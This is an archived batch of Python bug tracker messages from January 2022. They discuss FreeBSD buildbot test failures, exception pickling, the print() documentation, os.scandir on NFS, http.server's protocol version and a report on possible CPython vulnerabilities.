<1641484176.51.0.901226102636.issue46256@roundup.psfhosted.org> Daniele Varrazzo added the comment: Thank you @pablogsal. For me it was surprising as never seen before 3.10 instance. If this is the expected behaviour (and the stdlib expects it) we can try and take the same type of care in psycopg. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:52:25 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 06 Jan 2022 15:52:25 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641484345.0.0.590372726498.issue46263@roundup.psfhosted.org> Christian Heimes added the comment: New changeset b259015c1079744dbe3d58bd4c27757a6df9d1c6 by Miss Islington (bot) in branch '3.9': [3.9] bpo-46263: FreeBSD 14.0 jemalloc workaround for junk bytes of freed memory (GH-30434) (GH-30437) https://github.com/python/cpython/commit/b259015c1079744dbe3d58bd4c27757a6df9d1c6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:52:29 2022 From: report at bugs.python.org (William Navaraj) Date: Thu, 06 Jan 2022 15:52:29 +0000 Subject: [issue26571] turtle regression in 3.5 In-Reply-To: <1458104355.45.0.620158354917.issue26571@psf.upfronthosting.co.za> Message-ID: <1641484349.17.0.608191163851.issue26571@roundup.psfhosted.org> William Navaraj added the comment: Hi all, Sorry. I seem to have stepped on someone's toes or no one likes turtle any more (as this is active since 2016). As you can see, I am new here and still getting a feel for these procedures. I was preparing a Jupyter notebook for my students. I planned some exercises with turtle at start before we jump into real robots. I noticed this annoying Terminator error, digged deeper into the code to find about the _RUNNING class variable. The PR from Furkan suggest to remove the Raise Terminator. May be we could amend that and I will close my PR, if you prefer. Thanks, ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:54:10 2022 From: report at bugs.python.org (Zachary Ware) Date: Thu, 06 Jan 2022 15:54:10 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641484450.46.0.284305311963.issue46280@roundup.psfhosted.org> Change by Zachary Ware : ---------- nosy: +414039482 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:54:13 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 15:54:13 +0000 Subject: [issue32696] Fix pickling exceptions with multiple arguments In-Reply-To: <1517156155.35.0.467229070634.issue32696@psf.upfronthosting.co.za> Message-ID: <1641484453.89.0.640915707568.issue32696@roundup.psfhosted.org> Irit Katriel added the comment: This isn't really an issue with exceptions, it's just that __reduce__ goes out of sync with the object's constructor signature. Here's a simple example of the same: class Base: def __init__(self, msg): self.msg = msg def __reduce__(self): return type(self), (self.msg,) class Derived(Base): def __init__(self, a, b): super().__init__(f'{a}|{b}') x = Derived('a', 'b') assert x.msg == 'a|b' y = pickle.dumps(x, -1) z = pickle.loads(y) ------------------------------------------- Output: Traceback (most recent call last): File "/Users/iritkatriel/src/cpython/zz.py", line 22, in z = pickle.loads(y) ^^^^^^^^^^^^^^^ TypeError: Derived.__init__() missing 1 required positional argument: 'b' If I define __reduce__ on Derived to return an arg tuple of the right length for its __init__, it works: class Derived(Base): def __init__(self, a, b): super().__init__(f'{a}|{b}') def __reduce__(self): return type(self), tuple(self.msg.split('|')) But note that this is not something we could make the base class do, it has no way of finding out what the semantics of the derived class constructor args are. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:57:07 2022 From: report at bugs.python.org (Zachary Ware) Date: Thu, 06 Jan 2022 15:57:07 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641484627.15.0.548633083062.issue46280@roundup.psfhosted.org> Zachary Ware added the comment: As an aside, there's an issue with Roundup where a username composed of all digits causes it to think that name is a user ID in the nosy list. I recommend changing your username to include a non-digit character so that others can interact with you on your issues without constantly removing you from the nosy list. ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:57:10 2022 From: report at bugs.python.org (Nicolas SURRIBAS) Date: Thu, 06 Jan 2022 15:57:10 +0000 Subject: [issue46284] DirEntry returns invalid values for is_dir and is_file on NFS Message-ID: <1641484629.51.0.786983254218.issue46284@roundup.psfhosted.org> New submission from Nicolas SURRIBAS : Hello, I bumped into this strange behavior several times when using os.scandir on mounted NFS shares. I'm using Python 3.9.1 >>> path = b'/mnt/nfs_share/sdb1/System Volume Information/' >>> l = list(os.scandir(path)) >>> print(l[2].name) b'WPSettings.dat' >>> print(l[2].path) b'/mnt/nfs_share/sdb1/System Volume Information/WPSettings.dat' >>> print(l[2].is_file()) False >>> print(l[2].is_dir()) True >>> print(os.path.isfile(l[2].path)) True >>> print(os.path.isdir(l[2].path)) False ---------- components: Library (Lib) messages: 409869 nosy: Nicolas SURRIBAS priority: normal severity: normal status: open title: DirEntry returns invalid values for is_dir and is_file on NFS type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:13:18 2022 From: report at bugs.python.org (James Gerity) Date: Thu, 06 Jan 2022 16:13:18 +0000 Subject: [issue46282] print() docs do not indicate its return value In-Reply-To: <1641482082.12.0.793901620769.issue46282@roundup.psfhosted.org> Message-ID: <1641485598.39.0.62122731555.issue46282@roundup.psfhosted.org> James Gerity added the comment: I opened this ticket on behalf of a user who asked about print() specifically in #python on the Libera IRC network, who I assume does not find this obvious. I don't think it would be tenable to add this note to every built-in, but that's not the intended scope of this issue. I do think it's worth mentioning for print(), though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:14:03 2022 From: report at bugs.python.org (Georg Brandl) Date: Thu, 06 Jan 2022 16:14:03 +0000 Subject: [issue32696] Fix pickling exceptions with multiple arguments In-Reply-To: <1517156155.35.0.467229070634.issue32696@psf.upfronthosting.co.za> Message-ID: <1641485643.09.0.427262180541.issue32696@roundup.psfhosted.org> Change by Georg Brandl : ---------- nosy: -georg.brandl _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:16:09 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 16:16:09 +0000 Subject: [issue32696] Fix pickling exceptions with multiple arguments In-Reply-To: <1517156155.35.0.467229070634.issue32696@psf.upfronthosting.co.za> Message-ID: <1641485769.05.0.476711041043.issue32696@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:21:58 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 16:21:58 +0000 Subject: [issue29466] pickle does not serialize Exception __cause__ field In-Reply-To: <1486406196.69.0.481594976881.issue29466@psf.upfronthosting.co.za> Message-ID: <1641486118.25.0.644914680608.issue29466@roundup.psfhosted.org> Irit Katriel added the comment: > Attributes __context__, __cause__ and __traceback__ are not pickled. The traceback objects are even not pickleable. It's not guaranteed that the __cause__ and __context__ are picklable either. Should we try to pickle them, or should we document this and suggest traceback.TracebackException for storing or transmitting exception information? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:27:39 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 16:27:39 +0000 Subject: [issue37287] [doc] Add section on pickling to exceptions documentation In-Reply-To: <1560555045.5.0.822054090592.issue37287@roundup.psfhosted.org> Message-ID: <1641486459.16.0.442449036894.issue37287@roundup.psfhosted.org> Irit Katriel added the comment: This is the same as issue32696. I'm turning this into a documentation issue. ---------- assignee: -> docs at python components: +Documentation -Library (Lib) nosy: +docs at python, iritkatriel title: picke cannot dump Exception subclasses with different super() args -> [doc] Add section on pickling to exceptions documentation type: -> enhancement versions: +Python 3.10, Python 3.11 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:35:36 2022 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 06 Jan 2022 16:35:36 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641484345.0.0.590372726498.issue46263@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: Is this under control, or do you still need help with some part? (Are there two separate issues or not?)-- --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:40:33 2022 From: report at bugs.python.org (Barry A. Warsaw) Date: Thu, 06 Jan 2022 16:40:33 +0000 Subject: [issue46282] print() docs do not indicate its return value In-Reply-To: <1641482082.12.0.793901620769.issue46282@roundup.psfhosted.org> Message-ID: <1641487233.89.0.320464509297.issue46282@roundup.psfhosted.org> Barry A. Warsaw added the comment: I think it does a better service to users to explain how Python returns None implicitly if a function doesn't have any other explicit return value. If the print() docs had this note, it would be confusing why other similar functions don't. It's also worth explaining that when a function is designed to *explicitly* return None in certain cases (e.g. dict.get()) that it shouldn't do so implicitly, but should include an explicit `return None` for readability. ---------- nosy: +barry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:44:24 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 06 Jan 2022 16:44:24 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641487464.02.0.080466663517.issue46263@roundup.psfhosted.org> Christian Heimes added the comment: test_capi is fixed now. test_embed is still an issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:47:02 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 06 Jan 2022 16:47:02 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641487622.4.0.812563356042.issue46263@roundup.psfhosted.org> Eric Snow added the comment: In summary, regarding the test_embed failure: > FWIW: from test_embed.test_init_setpythonhome: > > if not config['executable']: > config['use_frozen_modules'] = -1 > > From the buildbot test stdout (but not pythoninfo) I see that > config["executable"] is set to "". ... > ====================================================================== > FAIL: test_init_setpythonhome (test.test_embed.InitConfigTests) > ---------------------------------------------------------------------- > ... > - 'use_frozen_modules': 1, > + 'use_frozen_modules': -1, > ? + > ... ... > - out-of-tree build with system Python 3.8 => succeeds > - out-of-tree build with system Python 3.9 => succeeds > - in-tree build with system Python 3.9 => fails > - in-tree build with system Python 3.8 => fails Note that in-tree builds are working find on other platforms, AFAICS. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:48:38 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 06 Jan 2022 16:48:38 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641487718.13.0.7207361732.issue46263@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Is this under control, or do you still need help with some part? As Christian mentions, we still have the test_embed issue ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:49:35 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 16:49:35 +0000 Subject: [issue40545] Expose _PyErr_GetTopmostException In-Reply-To: <1588843798.84.0.388180612972.issue40545@roundup.psfhosted.org> Message-ID: <1641487775.0.0.380330264327.issue40545@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:50:42 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 16:50:42 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641487842.05.0.0379542547397.issue46263@roundup.psfhosted.org> Erlend E. Aasland added the comment: > Note that in-tree builds are working find on other platforms, AFAICS. Yes, almost all of the buildbots are using in-tree builds. IIRC, buildbots for out-of-tree builds were added just recently. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:52:20 2022 From: report at bugs.python.org (Ronald Oussoren) Date: Thu, 06 Jan 2022 16:52:20 +0000 Subject: [issue34602] python3 resource.setrlimit strange behaviour under macOS In-Reply-To: <1536316486.92.0.56676864532.issue34602@psf.upfronthosting.co.za> Message-ID: <1641487940.82.0.323676557701.issue34602@roundup.psfhosted.org> Ronald Oussoren added the comment: > My understanding of the resolution of this ticket is that it is still not possible to use setrlimit with RLIMIT_STACK to raise the soft stack limit. Is that correct? Yes, the code in msg324731 still fails. We're still using the mechanism described in msg324818, but with a larger stack size for some builds. It is rather annoying that -Wl,-stack_size,NNNN sets a hard limit on the stack size, rather than overriding the soft limit. I guess we could change the startup code for the interpreter executable (Py_Main or related code) to set the RLIMIT_STACK to a larger value when it is too small, that way applications can still pick a different (and in particular larger) value. @ned.deily, @lukasz.langa: reopen this issue or open a new one? ---------- versions: +Python 3.10, Python 3.11 -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:56:45 2022 From: report at bugs.python.org (Alex Waygood) Date: Thu, 06 Jan 2022 16:56:45 +0000 Subject: [issue46244] typing._TypeVarLike missing __slots__ In-Reply-To: <1641221264.62.0.732771718819.issue46244@roundup.psfhosted.org> Message-ID: <1641488205.51.0.541528333988.issue46244@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +AlexWaygood _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:57:08 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 16:57:08 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641488228.05.0.37693112879.issue46263@roundup.psfhosted.org> Erlend E. Aasland added the comment: AFAICS, the test_embed failure first appeared after GH-29041 (bpo-45582) was merged. After GH-29041, there has been numerous fixes for test_embed: $ git log --oneline | grep bpo-45582 3f398a77d3 bpo-45582: Fix test_embed failure during a PGO build on Windows (GH-30014) b0b3086279 bpo-45582: Write empty pybuilddir.txt on Windows to allow relocatable build directories (GH-29979) 06c4ae8b13 bpo-45582: Fix framework path and bootstrap build (GH-29954) b7ef27bc08 bpo-45582: Ensure PYTHONHOME still overrides detected build prefixes (GH-29948) f16f93e527 bpo-45582: framework build: modPath must not be const (GH-29944) af1db4eb55 bpo-45582: Fix getpath_isxfile() and test_embed on Windows (GH-29930) 628abe4463 bpo-45582: Fix signature of _Py_Get_Getpath_CodeObject (GH-29921) 0ae4e0c959 bpo-45582 Fix prototype of _Py_Get_Getpath_CodeObject. (GH-29907) 7d7c91a8e8 bpo-45582: Add a NOT operator to the condition in getpath_isxfile (GH-29906) ccb73a0d50 bpo-45582: Fix out-of-tree build issues with new getpath (GH-29902) 99fcf15052 bpo-45582: Port getpath[p].c to Python (GH-29041) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:58:47 2022 From: report at bugs.python.org (Alex Waygood) Date: Thu, 06 Jan 2022 16:58:47 +0000 Subject: [issue45665] Problems caused by isinstance(list[int], type) returning True In-Reply-To: <1635496063.98.0.5366836652.issue45665@roundup.psfhosted.org> Message-ID: <1641488327.66.0.609610891727.issue45665@roundup.psfhosted.org> Alex Waygood added the comment: > We will still allow instantiating e.g. list[int], right? I certainly hope so! That would be a much more breaking change if we were to change that, and I can't personally see any benefit to doing so. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 11:59:56 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 16:59:56 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641488396.52.0.712806546488.issue46263@roundup.psfhosted.org> Erlend E. Aasland added the comment: > the test_embed failure first appeared after GH-29041 (bpo-45582) was merged. Make that "first appeared on FreeBSD". Also, numerous was perhaps an exaggeration. Make that a few :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 12:15:13 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 06 Jan 2022 17:15:13 +0000 Subject: [issue46282] print() docs do not indicate its return value In-Reply-To: <1641485598.39.0.62122731555.issue46282@roundup.psfhosted.org> Message-ID: <20220106171046.GV31214@ando.pearwood.info> Steven D'Aprano added the comment: Sure, there will always be some users who will find certain things not obvious. Sometimes I'm that user myself. What did this user think print() returned? What precisely was their question? Perhaps if I saw the conversation in context, I would be more sympathetic to this. I can see a difference between (for example) the questions: "I see that print('Hello world') returns None, but is it safe to assume that print will *always* return None? It is not documented anywhere as far as I can see." and "What does x = print('Hello world') do?" ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 12:17:47 2022 From: report at bugs.python.org (Joannah Nanjekye) Date: Thu, 06 Jan 2022 17:17:47 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641489467.06.0.805478032789.issue46280@roundup.psfhosted.org> Joannah Nanjekye added the comment: > You mention here that your tool automatically "repairs" the code. Could you >submit a sample PR with the repairs that your tool does so we can evaluate it? I second this. I obviously, am assuming good intentions from the author, not experimenting on us. ---------- nosy: +nanjekyejoannah -414039482 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 12:19:05 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 06 Jan 2022 17:19:05 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641489545.94.0.929273839622.issue46263@roundup.psfhosted.org> Eric Snow added the comment: Just to be clear, the test_embed failure is on AMD64 FreeBSD Non-Debug 3.x (https://buildbot.python.org/all/#/builders/172). I agree that 99fcf15052 (bpo-45582: Port getpath[p].c to Python (GH-29041)) is likely to be the cause. ---------- nosy: +steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 12:26:35 2022 From: report at bugs.python.org (James Gerity) Date: Thu, 06 Jan 2022 17:26:35 +0000 Subject: [issue46282] print() docs do not indicate its return value In-Reply-To: <1641482082.12.0.793901620769.issue46282@roundup.psfhosted.org> Message-ID: <1641489995.87.0.701946314842.issue46282@roundup.psfhosted.org> James Gerity added the comment: The original question was closer to the related issue of "indicate return types for all built-ins," conversation log follows (UTC-5): ``` 09:33:50 ringo__ | is there a stdlib api docs which actually has *full* functions signature? 09:34:27 ringo__ | for example, https://docs.python.org/3/library/functions.html, function | abs(x), it returns what, int? I need to read the whole sentence to figure | out the return value of a function? 09:34:48 ringo__ | (or argument for that matter) 09:35:51 bjs | ringo__: well like it says it doesn't just support int 09:36:00 bjs | int, float, or any type that supports it 09:37:01 bjs | in general you can find actual type annotations for the functions in the | typeshed | https://github.com/python/typeshed/blob/master/stdlib/builtins.pyi 09:37:32 bjs | I wonder if it would be useful to include the typeshed annotation in the | docs, or whether it would be more confusing 09:37:49 ringo__ | Thanks bjs ! I'll bookmark this typeshed 09:38:13 SnoopJ | abs() will do whatever __abs__() on the type does, which can be different | for any given type. You'd expect T -> T but it's not guaranteed. 09:38:18 ringo__ | I used abs() as an example. In fact I was wondering what does print() | return. I *guessed* it returns None, but the docs won't say 09:39:05 ringo__ | I could do a try-it-yourself approach but I was puzzled why the docs | simply won't give you full fn signature, ie print(..) -> None 09:39:17 SnoopJ | that one is just an omission :) ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 12:28:44 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 06 Jan 2022 17:28:44 +0000 Subject: [issue46272] Fix bitwise and logical terminology in python.gram In-Reply-To: <1641408885.92.0.0799891531401.issue46272@roundup.psfhosted.org> Message-ID: <1641490124.86.0.500584068716.issue46272@roundup.psfhosted.org> Raymond Hettinger added the comment: > comparison ::= or_expr (comp_operator or_expr)* So, the meaning of these names like this is, "lt followed by an optional bitwise_or expression"? compare_op_bitwise_or_pair[CmpopExprPair*]: | eq_bitwise_or | noteq_bitwise_or | lte_bitwise_or | lt_bitwise_or | gte_bitwise_or | gt_bitwise_or | notin_bitwise_or | in_bitwise_or | isnot_bitwise_or | is_bitwise_or eq_bitwise_or[CmpopExprPair*]: '==' a=bitwise_or { _PyPegen_cmpop_expr_pair(p, Eq, a) } noteq_bitwise_or[CmpopExprPair*]: | (tok='!=' { _PyPegen_check_barry_as_flufl(p, tok) ? NULL : tok}) a=bitwise_or {_PyPegen_cmpop_expr_pair(p, NotEq, a) } lte_bitwise_or[CmpopExprPair*]: '<=' a=bitwise_or { _PyPegen_cmpop_expr_pair(p, LtE, a) } lt_bitwise_or[CmpopExprPair*]: '<' a=bitwise_or { _PyPegen_cmpop_expr_pair(p, Lt, a) } gte_bitwise_or[CmpopExprPair*]: '>=' a=bitwise_or { _PyPegen_cmpop_expr_pair(p, GtE, a) } gt_bitwise_or[CmpopExprPair*]: '>' a=bitwise_or { _PyPegen_cmpop_expr_pair(p, Gt, a) } notin_bitwise_or[CmpopExprPair*]: 'not' 'in' a=bitwise_or { _PyPegen_cmpop_expr_pair(p, NotIn, a) } in_bitwise_or[CmpopExprPair*]: 'in' a=bitwise_or { _PyPegen_cmpop_expr_pair(p, In, a) } isnot_bitwise_or[CmpopExprPair*]: 'is' 'not' a=bitwise_or { _PyPegen_cmpop_expr_pair(p, IsNot, a) } is_bitwise_or[CmpopExprPair*]: 'is' a=bitwise_or { _PyPegen_cmpop_expr_pair(p, Is, a) } ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 12:38:04 2022 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 06 Jan 2022 17:38:04 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641489545.94.0.929273839622.issue46263@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: IIUC Steve is still on vacation, so we shouldn't wait for him to fix this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 12:41:28 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 06 Jan 2022 17:41:28 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641490888.38.0.577324617033.issue46263@roundup.psfhosted.org> Eric Snow added the comment: A FreeBSD builder where it's working: AMD64 FreeBSD Shared 3.x (koobs-freebsd-564d) OS: FreeBSD 14.0-CURRENT main-n244626-cb7cc72c546: GENERIC-NODEBUG (amd64) System: 2-core, 8Gb, VirtualBox (6.x) Guest Features: - Compiler: FreeBSD clang version 11.0.1 (llvmorg-11.0.1-0-g43ff75f2c3fe) - Clang "is" cc (default system compiler) - OpenSSL 1.1.1i-freebsd 8 Dec 2020 Where it isn't: AMD64 FreeBSD Non-Debug 3.x (koobs-freebsd-9e36) Environment: * OS: FreeBSD 12.3-RELEASE r371126 GENERIC amd64 * System: 2-core, 2Gb, VirtualBox (6.x) Guest Features: * cc = FreeBSD clang version 10.0.1 (git at github.com:llvm/llvm-project.git llvmorg-10.0.1-0-gef32c611aa2) * DTRACE * ZFS * Posix Semaphores The main difference I see is the FreeBSD version. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 12:51:02 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Thu, 06 Jan 2022 17:51:02 +0000 Subject: [issue46142] python --help output is too long In-Reply-To: <1640043795.98.0.690443918792.issue46142@roundup.psfhosted.org> Message-ID: <1641491462.71.0.168654220966.issue46142@roundup.psfhosted.org> ?ric Araujo added the comment: Victor said on github that he would prefer `--help-xoptions` to `-X help`. It would align with `--help` and `--help-env`, but not with other `-X abc` options. I think that `--help-X` may be better, as it uses the same form (`X`) rather than the non-word `xoptions`. What do people think? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 12:51:43 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 17:51:43 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641491503.27.0.196658216016.issue46263@roundup.psfhosted.org> Erlend E. Aasland added the comment: Also, AMD64 FreeBSD Shared 3.x is configured --with-pydebug and --enable-shared. I'd be surprised if those were the root cause of this though. Both buildbots are in-tree builds. FWIW, my FreeBSD 14.0-CURRENT main-n250453-7ac82c96fe7 VM also fails, as noted in previous posts. It's built with just ./configure && make. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 13:00:47 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 06 Jan 2022 18:00:47 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641492047.85.0.551126292929.issue46263@roundup.psfhosted.org> Change by Eric Snow : ---------- pull_requests: +28645 pull_request: https://github.com/python/cpython/pull/30438 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 13:01:27 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 06 Jan 2022 18:01:27 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641492087.76.0.836211301656.issue46263@roundup.psfhosted.org> Eric Snow added the comment: I just put up a PR that should fix the failure. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 13:10:06 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 06 Jan 2022 18:10:06 +0000 Subject: [issue46208] os.path.normpath change between 3.11.0a2 and 3.11.0a3+ In-Reply-To: <1640893110.04.0.882099438605.issue46208@roundup.psfhosted.org> Message-ID: <1641492606.16.0.780445337522.issue46208@roundup.psfhosted.org> Steve Dower added the comment: I'm happy with PR 30362 now - any other comments before we merge? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 13:39:21 2022 From: report at bugs.python.org (Hugo Almeida) Date: Thu, 06 Jan 2022 18:39:21 +0000 Subject: [issue46285] http/server.py wont respect its protocol_version Message-ID: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org> New submission from Hugo Almeida : Hi, Sorry for my poor English, this is not a spam issue. How to reproduce ================ File about `http/server.py`, line 1235 at main branch. 1st, change `protocol_version`, e.g. from "HTTP/1.0" to "HTTP/1.1": --- protocol="HTTP/1.0", port=8000, ... +++ protocol="HTTP/1.1", port=8000, ... 2ed, run with `python -m http.server` and test by: `curl http://127.0.0.1:8000 2>/dev/null| head -n 1` Result ====== The response head line will always been a fixed HTTP Version refer to `BaseHTTPRequestHandler.protocol_version` defined, thus "HTTP/1.0 200 OK" currently. Expected ======== It should equal to `http.server.test(protocol="...")` which specified like above, for this issue, it is expected to be "HTTP/1.1 200 OK". P.S. ==== I know it is just locate in a test code area (http.servers::test), but what I submit here is about a Python Variable Scope issue maybe. ---------- components: Library (Lib) messages: 409894 nosy: openalmeida priority: normal severity: normal status: open title: http/server.py wont respect its protocol_version type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 13:41:10 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 06 Jan 2022 18:41:10 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641494470.73.0.4340262467.issue46280@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > I don't see how this could be an uninitialized read, although I'm willing to be wrong. It can be uninitialized if the parenstack[nested_depth] value is itself initialized, which can happen if the memory block pointed by parenstack has not been initialized to some value after malloc'ed and parenstack[nested_depth] never got a value. But yeah, a lot of hypotheticals here that I am sure are not possible in the actual code. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 13:56:16 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 06 Jan 2022 18:56:16 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641495376.86.0.614234663852.issue46263@roundup.psfhosted.org> Eric Snow added the comment: New changeset 68c76d9766cccb5fd992b0ac4b39645d9665dbe2 by Eric Snow in branch 'main': bpo-46263: Do not ever expect "use_frozen_modules" to be -1. (gh-30438) https://github.com/python/cpython/commit/68c76d9766cccb5fd992b0ac4b39645d9665dbe2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 13:57:50 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 06 Jan 2022 18:57:50 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641495470.17.0.974913320165.issue46263@roundup.psfhosted.org> Change by Eric Snow : ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 14:01:52 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 19:01:52 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: 